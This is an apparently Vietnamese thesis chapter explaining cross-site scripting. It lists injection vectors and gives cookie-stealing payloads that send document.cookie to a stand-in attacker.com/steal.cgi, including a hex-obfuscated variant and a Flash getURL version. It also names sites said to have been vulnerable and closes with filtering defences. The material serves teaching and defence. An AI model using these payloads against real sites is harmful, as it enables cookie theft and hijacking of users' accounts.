KĨ THUẬT TẤN CÔNG CROSS-SITE SCRIPTING (XSS)

Một phần của tài liệu nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet (nguyễn duy thắng vs nguyễn minh thu) - 1 (Trang 47 - 57)

Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồnứng dụng webđể từđó chúngđược chạy như là một phần củaứng dụng Web và có chức năng cung cấp hoặc thực hiện những nhữngđiều hacker muốn.

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng.

Thông thường hacker lợi dụng địa chỉ URL đểđưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân.

Ví Dụ5.I-1:

http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

hay:



http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

Phần in đậm là đoạn mãđược thêm vào với mục đích đánh cắp cookies của nạn nhân. Trong những ví dụ2.I-1 trên, hầu hết những tiền tố URL là địa chỉ của những ứng dụng Web có thật (VD: http://www.microsoft.com/education, http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) lợi dụng cách truyền tham số

trên URL mà hacker có thể dễ dàng thêm vào đoạn mãđánh cắp cookie.

Ví dụ5.I-1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL. Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng. Sau đây là danh sách nơi có thểchènđoạn mã:

Ví dụ5.I-2:

<a href="javas&#99;ript&#35;[code]"> <div onmouseover="[code]">

<img src="javascript:[code]"> <img dynsrc="javascript:[code]">

<input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]">

&<script>[code]</script> &{[code]};

<img src=&{[code]};>

<liên kết rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]">

<img src="livescript:[code]">

<a href="about:<s&#99;ript>[code]</script>">

<meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]">

<div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([liên kết to code]);">

<div style="binding: url([liên kết to code]);"> <div style="width: expression([code]);">

<style type="text/javascript">[code]</style>

<object classid="clsid:..." codebase="javascript:[code]"> <script>[code]</script>

<img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]">

<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>

(tài liệu từhttp://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0)

Phần in đậm là phần có thểđặt đoạn mãđánh cắp thông tin.

II. PHƯƠNG PHÁP TN CÔNG XSS TRUYN THNG

Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông tin màứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thểđọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của hacker là tìm trangđích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên

ứng dụng đó.

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Hình 5.II-1. Quá trình thực hiện XSS

Tóm tắt các bước thực hiện:

• Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ

hỏng XSS.

• Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn

đang chờ bạn”…

• Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker.

• Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đãđánh cắp vào 1 tập tin

• Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng.

Ví dụ 5.II-1: Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể thực hiện như sau : <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do cument.location.replace('http://www.attacker.com/steal.cgi?'+docume nt.cookie);</script>"> Một phần thưởng hấp dẫn đang chờ bạn </a>

</body> </html>

Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ bạn”, cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương trình steal.cgi của hacker. http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C 20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 Vấn đề đặt ra là có thể người lập trình sẽ bảo vệ ứng dụng Web của mình bằng cách lọc những kí tựđặc biệt như ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực hiện câu truy vấn SQL chẳng hạn)… Nhưng hacker có thể lợi dụng mã hex thay cho những kí tự đặc biệtđểtấn công.

Thay thế bằng những số hex cho những kí tự ASCII. Ví dụ5.II-2:

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F …

Sauđây là ví dụtrong cách dùng mã hex trongứng dụng web. Ví dụ5.II-3: <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va r u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061);

u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u %2B=document.cookie;document.location.replace(u);</script>" onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.ht ml';return true"

onMouseOut="window.status='';return true">Một phần thưởng hấp dẫn đang chờ

bạn</a> </body> </html>

III. MT S WEBSITE TÌM THY L HNG XSS

Tên công ty Domain Những liên kết bị khai thác

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

nbc.com <script>alert(document.cookie)</script>&frompa ge=4 &page=1&ct=VVTV&mh=0&sh=0&RN=1 Microsoft http://www.micr osoft.com/ http://www.microsoft.com/education/?ID=MCTN &target=http://www.microsoft.com/education/?ID= MCTN &target=<script>alert(document.cookie)</script> Chase https://www.cha se.com/ https://www.chase.com/chase/gx.cgi/FTcs?pagenam e=<script>alert(document.cookie)</script> &urlname=smallbusiness/direct EBay https://scgi.ebay. co.uk/ https://scgi.ebay.co.uk/saw- cgi/eBayISAPI.dll?SSLRegisterShow &countryid=3&siteId=3&co_partnerId=0&UsingSS L=1 &aolemail=<script>alert(document.cookie) </script>

Oracle Japan http://www.orac le.co.jp/

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/i m_search_exe?

search_text=<script>alert(document.cookie) </script>

IV. TN CÔNG XSS BNG FLASH

Ngoài những cách đưa mộtđoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash đểđánh cắp thông tin.

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đãđược xây dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như

JavaScript, C hay PERL. Ví dụhàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như “http://www.yahoo.com”.

Ví dụ5.IV-1:

getURL(“http://www.yahoo.com”)

Tuy nhiên có thể thay thế URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vàoứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách tấn công này là:

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flashđượcđọc:

getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Hình 5.IV-2: Cách viết Action Scipt trong Flash

Ví dụ5.IV-2:

DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các thành viên và cũng có thể là tài khoản của người quản trị web, bằng cáchđăng kí làm thành viên củaứng dụng Web này, gửi tập tin flash lên máy chủvà đợi các nạn nhân xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình bày trong ví dụ5.IV-2:

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này, bằng cách nhậpđoạn mã gọi tập tin flash vào.

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s wflash.cab#version=6,0,0,0"

HEIGHT="48" id="1" ALIGN="">

<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"> <PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

<EMBED src=" http://www.ke_tan_cong.com/vidu.swf" quality=high bgcolor=#FF9900 WIDTH="60" HEIGHT="48" NAME="1" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"> </EMBED> </OBJECT> V. CÁCH PHÒNG CHNG

• Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web cần phải thực hiện vài bước cơ bản sau:

o Tạo ra danh sách những thẻ HTML được phép sử dụng.

o Xóa bỏ thẻ <script>

o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related nào.

o Lọc dấu nháy đơn hay kép

o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho

ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này).

Một phần của tài liệu nghiên cứu một số vấn đề về bảo mật ứng dụng web trên internet (nguyễn duy thắng vs nguyễn minh thu) - 1 (Trang 47 - 57)

Tải bản đầy đủ (PDF)

(57 trang)